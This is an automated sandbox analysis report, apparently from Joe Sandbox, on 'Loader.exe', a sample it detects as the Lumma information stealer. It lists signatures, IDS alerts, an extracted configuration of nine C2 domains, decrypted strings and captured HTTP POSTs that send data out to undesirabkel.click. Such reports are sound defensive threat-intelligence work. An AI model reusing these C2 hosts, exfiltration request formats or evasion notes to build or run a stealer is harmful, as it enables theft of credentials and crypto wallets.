Edit tour

Windows Analysis Report
Loader.exe

Overview

General Information

Sample name:	Loader.exe
Analysis ID:	1581511
MD5:	7773630abc9d30d9e4fb74481736224c
SHA1:	960bcdda71ed3b4bef604dc549cdf4a0f84c4636
SHA256:	3cac35e6047f481ebf1530b5e63e9ad9846963dea7238351770dd6f21b846711
Tags:	exeLummaStealeruser-ventoy
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Loader.exe (PID: 7332 cmdline: "C:\Users\user\Desktop\Loader.exe" MD5: 7773630ABC9D30D9E4FB74481736224C)

conhost.exe (PID: 7340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Loader.exe (PID: 7400 cmdline: "C:\Users\user\Desktop\Loader.exe" MD5: 7773630ABC9D30D9E4FB74481736224C)

Loader.exe (PID: 7408 cmdline: "C:\Users\user\Desktop\Loader.exe" MD5: 7773630ABC9D30D9E4FB74481736224C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["appliacnesot.buzz", "cashfuzysao.buzz", "rebuildeso.buzz", "screwamusresz.buzz", "inherineau.buzz", "undesirabkel.click", "hummskitnj.buzz", "prisonyfork.buzz", "scentniej.buzz"], "Build id": "LPnhqo--yxojbtuqnnxf"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: Loader.exe PID: 7408	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Loader.exe PID: 7408	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Loader.exe PID: 7408	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:26:58.822905+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.30.13	443	TCP
2024-12-27T23:27:00.794201+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.30.13	443	TCP
2024-12-27T23:27:03.254522+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.30.13	443	TCP
2024-12-27T23:27:07.941464+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.30.13	443	TCP
2024-12-27T23:27:10.195422+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.30.13	443	TCP
2024-12-27T23:27:12.836751+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.30.13	443	TCP
2024-12-27T23:27:15.839085+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	104.21.30.13	443	TCP
2024-12-27T23:27:20.017873+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.30.13	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:26:59.564081+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.30.13	443	TCP
2024-12-27T23:27:01.586988+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.30.13	443	TCP
2024-12-27T23:27:20.785675+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49741	104.21.30.13	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:26:59.564081+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.30.13	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:27:01.586988+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.30.13	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:26:58.822905+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	104.21.30.13	443	TCP
2024-12-27T23:27:00.794201+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	104.21.30.13	443	TCP
2024-12-27T23:27:03.254522+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	104.21.30.13	443	TCP
2024-12-27T23:27:07.941464+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	104.21.30.13	443	TCP
2024-12-27T23:27:10.195422+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	104.21.30.13	443	TCP
2024-12-27T23:27:12.836751+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	104.21.30.13	443	TCP
2024-12-27T23:27:15.839085+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49737	104.21.30.13	443	TCP
2024-12-27T23:27:20.017873+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49741	104.21.30.13	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (undesirabkel .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:26:57.370528+0100	2058550	1	Domain Observed Used for C2 Detected	192.168.2.4	64722	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T23:27:06.637591+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49732	104.21.30.13	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://undesirabkel.click/apibV7RydFqE=	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click:443/apiG	Avira URL Cloud: Label: malware
Source: undesirabkel.click	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/api	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/apiC	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/apii	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["appliacnesot.buzz", "cashfuzysao.buzz", "rebuildeso.buzz", "screwamusresz.buzz", "inherineau.buzz", "undesirabkel.click", "hummskitnj.buzz", "prisonyfork.buzz", "scentniej.buzz"], "Build id": "LPnhqo--yxojbtuqnnxf"}

Machine Learning detection for sample

Source: Loader.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: undesirabkel.click
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	String decryptor: LPnhqo--yxojbtuqnnxf

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00922560 GetCurrentThreadId,CryptEncrypt,CryptDestroyKey,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	0_2_00922560
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00922560 GetCurrentThreadId,CryptEncrypt,CryptDestroyKey,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	2_2_00922560
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00415200 CryptUnprotectData,	3_2_00415200

Source: Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009420D9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_009420D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00942028 FindFirstFileExW,	0_2_00942028
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_009420D9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_009420D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00942028 FindFirstFileExW,	2_2_00942028

Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+0000026Dh]	3_2_00415200
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+70h]	3_2_00409370
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	3_2_00409370
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [ecx], dx	3_2_0043F39E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	3_2_00440CE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 798ECF08h	3_2_00439490
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 11A82DE9h	3_2_00439490
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+446E8726h]	3_2_00441DA0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 9164D103h	3_2_00440E00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+0Ch]	3_2_004396A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+ecx-4835D6BBh]	3_2_0040D7CF
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp word ptr [esi+eax], 0000h	3_2_0041D050
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0041780D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2DFE5A91h	3_2_004410D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+2Ch]	3_2_0042788F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edi, dword ptr [ebp-10h]	3_2_0041C900
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	3_2_0042B100
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	3_2_00427917
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then test eax, eax	3_2_0043A120
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+338E7E12h]	3_2_0043A120
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, eax	3_2_00405930
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebp, eax	3_2_00405930
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx eax, word ptr [ebp+00h]	3_2_0043A9D6
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then sub edx, 01h	3_2_004409E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edx]	3_2_00426190
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [ecx]	3_2_0043E9B3
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+2Ch]	3_2_00427A3F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	3_2_0041F2C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004292E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edi-535229ACh]	3_2_004402B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then sub edx, 01h	3_2_004402B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	3_2_00402B70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00436370
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, ecx	3_2_00408B00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042D306
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then jmp dword ptr [00448B7Ch]	3_2_00428307
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+esi-6Fh]	3_2_004393C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edi-535229ACh]	3_2_004403D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then sub edx, 01h	3_2_004403D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000274h]	3_2_0042BBE3
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000274h]	3_2_0042BC53
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+eax-00000258h]	3_2_0043EC60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	3_2_00416C77
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042D4D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-53h]	3_2_00419C90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	3_2_00419C90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042D49A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_004074A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_004074A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+00000274h]	3_2_0042BB19
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then sub edx, 01h	3_2_00440550
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_0041C561
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax+26h]	3_2_0041C561
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0041C561
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx esi, byte ptr [eax]	3_2_00426513
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	3_2_00425DEA
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00425DEA
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 385488F2h	3_2_0043A640
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042D64C
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [ebp+eax-38h]	3_2_0043EE50
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_0042A660
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, eax	3_2_0041966B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_00425E70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then sub edx, 01h	3_2_00440600
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], EABBD981h	3_2_0040DE13
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00417E1A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ebx, eax	3_2_00417E1A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-2DC31920h]	3_2_00422E3F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ecx	3_2_00422E3F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+74842D10h]	3_2_00422E3F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then sub edx, 01h	3_2_00440690
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+5B5F0E69h]	3_2_004146A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov eax, ecx	3_2_004146A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_004146A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	3_2_00426EB0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, eax	3_2_0040A770
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then push eax	3_2_00415F19
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov ecx, edx	3_2_004227E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_00416790
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_00416790
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then mov edx, ebx	3_2_0040B79B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ecx]	3_2_0041E7A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 4x nop then movsx ecx, byte ptr [edi+eax]	3_2_0043F7B2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49735 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49733 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49741 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49732 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058550 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (undesirabkel .click) : 192.168.2.4:64722 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49734 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49731 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49730 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49737 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49741 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49732 -> 104.21.30.13:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: undesirabkel.click
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 104.21.30.13:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=M91SY52IFTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18122Host: undesirabkel.click
